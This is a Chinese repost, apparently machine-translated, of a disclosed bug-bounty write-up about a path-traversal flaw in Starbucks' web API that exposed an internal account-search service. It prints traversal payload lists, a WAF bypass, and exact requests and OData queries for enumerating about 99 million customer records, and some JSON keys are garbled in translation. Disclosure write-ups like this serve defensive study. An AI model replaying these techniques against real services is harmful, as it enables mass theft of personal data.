当前位置: 首页 > 科技观察

错误报告:“入侵”星巴克并访问1亿条客户记录

时间:2023-03-20 19:17:48 科技观察

Sam花了一整天的时间尝试VerizonMedia错误赏金计划,但仍然没有运气,所以他决定退出并做其他事情。他上网为朋友的生日订购了一张星巴克礼品卡。当sam尝试在星巴克官网进行购买时,他发现API调用有些可疑:一些请求是在前缀为“/bff/proxy/”的API下发送的,但这些请求返回的数据似乎来自另一个主机。好吧,既然星巴克有一个漏洞赏金计划,那就继续研究吧。以下是返回sam的用户信息的API调用示例:POST/bff/proxy/orchestra/get-userHTTP/1.1Host:app.starbucks.com{"data":{"user":{"exId":"77EFFC83-7EE9-4ECA-9049-A6A23BF1830F","firstName":"Sam","lastName":"Curry","email":"samwcurry@gmail.com","partnerNumber":null,"birthDay":null"birthMonth":null,"loyaltyProgram":null}}}在上面的示例中,“app.starbucks.com”主机将无法访问通过特定端点访问的数据,但可以充当假设的第二个主机代理或中介,“internal.starbucks.com”。这里需要考虑的一些有趣的事情是……我们如何测试应用程序的路由?如果应用程序将请求路由到内部主机,权限模型是什么样的?我们可以控制发送到内部主机或参数的请求中的路径吗?内部主机上是否有开放的重定向,如果有,应用程序会跟随它们吗?返回的内容是否必须匹配适当的类型(它是否解析JSON、XML或任何其他数据?)Sam首先做的事情是尝试循环API调用,以便可以加载其他路径,以及它的方式这是通过发送以下有效负载来实现的:/bff/proxy/orchestra/get-user/..%2f/bff/proxy/orchestra/get-user/..;//bff/proxy/orchestra/get-user/..//bff/proxy/orchestra/get-user/..%00//bff/proxy/orchestra/get-user/..%0d//bff/proxy/orchestra/get-user/..%5c/bff/proxy/orchestra/get-user/..\/bff/proxy/orchestra/get-user/..%ff//bff/proxy/orchestra/get-user/%2e%2e%2f/bff/代理/orchestra/get-user/.%2e//bff/proxy/orchestra/get-user/%3f(?)/bff/proxy/orchestra/get-user/%26(&)/bff/proxy/orchestra/get-user/%23(#)不幸的是,这些都不起作用。它们都返回我通常看到的相同的404页面......在这种情况下,我们可以将“/bff/proxy/orchestra/get-user”视为我们正在调用的不包括用户输入的函数。同时,我们有机会找到一个确实接受用户输入的函数,例如“/bff/proxy/users/:id”,我们有足够的空间来测试它会接受的数据。如果我们找到这样的API调用,尝试遍历有效负载并发送额外数据(实际上在用户输入中收到)可能会更有帮助。Sam密切关注该应用程序并发现了更多API调用。而他发现的第一条接受用户输入的消息是:GET/bff/proxy/v1/me/streamItems/:streamItemIdHTTP/1.1Host:app.starbucks.com这个端点不同于“getuser”端点,因为最后一个路径作为参数存在,其中提供了任意输入。如果此输入在内部系统上作为路径处理,则完全有可能遍历它并访问其他内部端点。幸运的是,sam尝试的第一个测试返回了一个很好的指标,表明可以遍历端点:GET/bff/proxy/stream/v1/users/me/streamItems/..\HTTP/1.1Host:app。starbucks.com{"errors":[{"message":"NotFound","errorCode":404,...此JSON响应与“/bff/proxy”下的所有其他常规API调用相同。这表明sam正在使用一个内部系统并且已经成功地修改了它正在与之交谈的路径。下一步是映射内部系统,最好的方法是通过识别返回“400BadRequest”的第一条路径遍历到根。但很快,山姆遇到了障碍。有一个WAF阻止他深入两个目录:GET/bff/proxy/stream/v1/users/me/streamItems/..\..\HTTP/1.1Host:app.starbucks.comHTTP/1.1403Forbidden但是,这个WAF弱...GET/bff/proxy/v1/me/streamItems/web\..\.\..\HTTP/1.1Host:app.starbucks.com{"errors":[{"message":"NotFound","errorCode":404,...最后,在返回7个路径后,sam收到以下错误:GET/bff/proxy/v1/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\..\HTTP/1.1Host:app.starbucks.com{"errors":[{"message":"BadRequest","errorCode":400,...这意味着内部API的根是6个返回路径,可以使用目录暴力破解工具或BurpSuite的入侵者和单词列表映射出来。此时,sam对该漏洞产生了更大的兴趣,并与JustinGardner进行了讨论。JustinGardner通过观察对这些路径的HTTP请求,几乎立即在内部系统的根目录中识别出许多路径,然后如果没有正斜杠,则使用Burp的入侵者返回重定向代码:GET/bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\searchHost:app.starbucks.comHTTP/1.1301MovedPermanentlyServer:nginxContent-Type:text/htmlContent-Length:162Location:/search/当Justin努力寻找所有端点时,sam开始逐一挖掘每个目录。自己扫描后,sam发现“Search”下有“v1”,“v1”下有“accounts”和“addresses”。所以,他给贾斯汀发了一条消息,想着如果“/search/v1/accounts”端点是对所有生产账户的搜索,那该有多有趣……是的,确实如此。“/search/v1/accounts”可以访问所有星巴克帐户的MicrosoftGraph实例。GET/bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\search\v1\Accounts\HTTP/1.1Host:app.starbucks.com{"@odata.context":"https://redacted.starbucks.com/Search/v1/$metadata#Accounts","value":[{"Id":1,"ExternalId":"12345","UserName":"UserName","FirstName":"FirstName","LastName":"LastName","EmailAddress":"0640DE@example.com","子市场”:“美国”,“合作伙伴编号”:null,“注册日期”:“1900-01-01T00:00:00Z”,“注册来源”:“iOSApp”,“上次更新”:“2017-06-01T15:32:56.4925207Z"},...lotsofproductionaccounts此外,“地址”端返回了类似的信息……GET/bff/proxy/stream/v1/users/me/streamItems/web\..\..\..\.\..\.\..\.\..\.\search\v1\Addresses\HTTP/1.1Host:app.starbucks.com{"@odata.context":"https://redacted.starbucks.com/Search/v1/$metadata#Addresses","value":[{"Id":1,"AccountId":1,"AddressType":"3","AddressLine1":null,"AddressLine2":null,"AddressLine3":null,"City":null,"PostalCode":null,"Country":null,"CountrySubdivision":null,"FirstName":null,"LastName"":null,"PhoneNumber":null},...lotsofproductionaddresses这是一项针对生产帐户和地址的服务,然后Sam开始进一步探索该服务以确认使用MicrosoftGraph功能。GET/bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\Search\v1\Accounts?$count=trueHost:app.starbucks.com{"@odata.context":"https://redacted.starbucks.com/Search/v1/$metadata#Accounts","@odata.count":99356059}通过从MicrosoftGraphURL添加“$count”参数,可以确定该服务有近1亿条记录。攻击者可以通过添加“$skip”和“$count”等参数来枚举所有用户帐户来窃取此数据。此外,为了查明特定的用户帐户,攻击者可以使用“$filter”参数:GET/bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\Search\v1\Accounts?$filter=startswith(UserName,'redacted')HTTP/1.1Host:app.starbucks.com{"@odata.context":"https://redacted.starbucks.com/Search/v1/$metadata#Accounts","value":[{"Id":81763022,"ExternalId":"59d159e2-redacted-redacted-b037-e8cececdf354","UserName":"redacted@gmail.com","FirstName":"Justin","LastName":"Gardner","EmailAddress":"redacted@gmail.com","Submarket":"US","PartnerNumber":null,"RegistrationDate":"2018-05-19T18:52:15.0763564Z","RegistrationSource":"Android","LastUpdated":"2020-05-16T23:28:39.3426069Z"}]}最后,sam发现还有许多其他端点可能(尚未确认)允许攻击者访问和修改账单地址、礼品卡、奖励和优惠等。条形码,忠诚度,应用程序设置,卡,挑战,内容,标识符,身份,入职,订单历史,权限,产品,促销,帐户,账单地址,注册,位置,音乐,优惠,奖励,密钥服务器时间线5月16日报告第17个补丁将发布一个赏金(4,000美元)将于5月19日发布,公共参考链接将于6月16日发布:https://samcurry.net/hacking-starbucks/